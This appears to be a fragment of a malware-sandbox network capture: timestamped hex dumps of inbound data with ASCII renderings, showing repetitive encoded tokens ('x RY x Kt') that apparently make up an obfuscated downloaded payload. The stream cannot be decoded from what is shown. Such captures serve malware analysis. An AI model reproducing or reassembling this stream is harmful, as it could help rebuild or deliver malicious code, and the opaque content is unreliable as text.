20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 
4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 
20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 
20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 
Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x 
OOY x OOk x RY x Kt x YR x Kt x RY x Kt

2021-11-09 21:21:49 UTC 1048 IN Data Raw: 74 59 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 
20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 
Data Ascii: tY x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x 
kR x Yt x tk x kR x kR x Yt x tk x kR x kR x Yt

2021-11-09 21:21:49 UTC 1050 IN Data Raw: 78 20 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 
6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 
78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 
51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 
20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 
4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 
Data Ascii: x Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR 
x tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo 
x Ooo x OOY x YY x tQ x KE x OOk x OOK x 
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2021-11-09 21:21:49 UTC 1051 IN Data Raw: 78 20 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 
20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 
78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 
6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 7
8 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 
52 20 78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 
Data Ascii: x tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY 
x tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x O
xO x kO x Kt x YR x OOE x Qx x Kt x Y

2021-11-09 21:21:49 UTC 1052 IN Data Raw: 52 59 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 
20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 
78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 
20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 
20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4
b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 
4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 
Data Ascii: RY x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt 
x Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x 
YR x tY x tY x Kt

2021-11-09 21:21:49 UTC 1054 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY 

2021-11-09 21:21:49 UTC 1055 IN Data Raw: 74 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 
78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 
6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 
20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 
52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii: tY x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x 
OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x

2021-11-09 21:21:49 UTC 1059 IN Data Raw: 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 
20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 
59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 
20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 
74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 
4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 
Data Ascii: Kk x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO 
x YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x 
KE x YO x Qx x Kt x KE x YO x Qx x K

2021-11-09 21:21:49 UTC 1063 IN Data Raw: 74 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 
4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 
78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 
78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 
6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20
78 20 74 52 20 78 20 52 74 20 78 20 4f 4f 51 20 
Data Ascii: t x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx 
x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE 
x kx x OxR x Yo x OOY x tR x Rt x OOQ 

2021-11-09 21:21:49 UTC 1064 IN Data Raw: 4f 4f 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 
78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 
4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 
78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 
20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 
Data Ascii: OOQ x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to 
x OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x 
Kt x Kt x YR x RY x Kt x Kt x YR x RY x 

2021-11-09 21:21:49 UTC 1069 IN Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 
20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 
20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 
74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 
4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 
78 20 4f 4f 52 20 78 20 6b 78 20 78 20 52 51 20 78 20 4b 
Data Ascii:  Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x 
Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x Yo x OOR x kx x RQ x K
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2021-11-09 21:21:49 UTC 1073 IN Data Raw: 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 
4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 
78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 
6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 
20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 
20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 
74 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b 
Data Ascii: Q x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR 
x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x 
Kk x OOK x kk x tk x Ooo x OxE x k

2021-11-09 21:21:49 UTC 1077 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 2
0 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b
20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 
4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 
20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR 
x KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x 
OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x

2021-11-09 21:21:49 UTC 1081 IN Data Raw: 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 
59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 
78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 
20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 52 
Data Ascii: t x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY 
x RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x 
kx x YR x RY x RY x RY x Rk x Kt x R

2021-11-09 21:21:49 UTC 1085 IN Data Raw: 45 20 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 
74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 
20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 
78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 
20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 
6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 
20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 
Data Ascii: E x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x 
RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE 
x Rk x YE x OxK x kt x OOO x RY x K

2021-11-09 21:21:49 UTC 1089 IN Data Raw: 20 78 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 
20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 
78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 
4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 
20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 
51 74 20 78 20 74 4b 20 78 20 4f 78 6f 20 78 20 4b 
Data Ascii:  x OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx 
x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt 
x YE x Qx x Qt x tK x Oxo x K

2021-11-09 21:21:49 UTC 1093 IN Data Raw: 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 
20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 
6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 
20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 
59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 
78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4f 6f 4f 20 
Data Ascii:  x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x 
YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x 
OOO x YK x Kt x OoO 

2021-11-09 21:21:49 UTC 1096 IN Data Raw: 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 
4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 
78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 
74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 
20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 
20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 
Data Ascii:  Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo 
x Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO 
x YR x kx x Kt x kR x YO x OO

2021-11-09 21:21:49 UTC 1101 IN Data Raw: 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 
78 20 52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 
52 20 78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 
78 20 4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 
20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 
Data Ascii: x OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x 
kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt 
x Yt x Kt x Kt x Ooo x Kt x 
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2021-11-09 21:21:49 UTC 1105 IN Data Raw: 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 
45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 
20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 
20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 
4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 
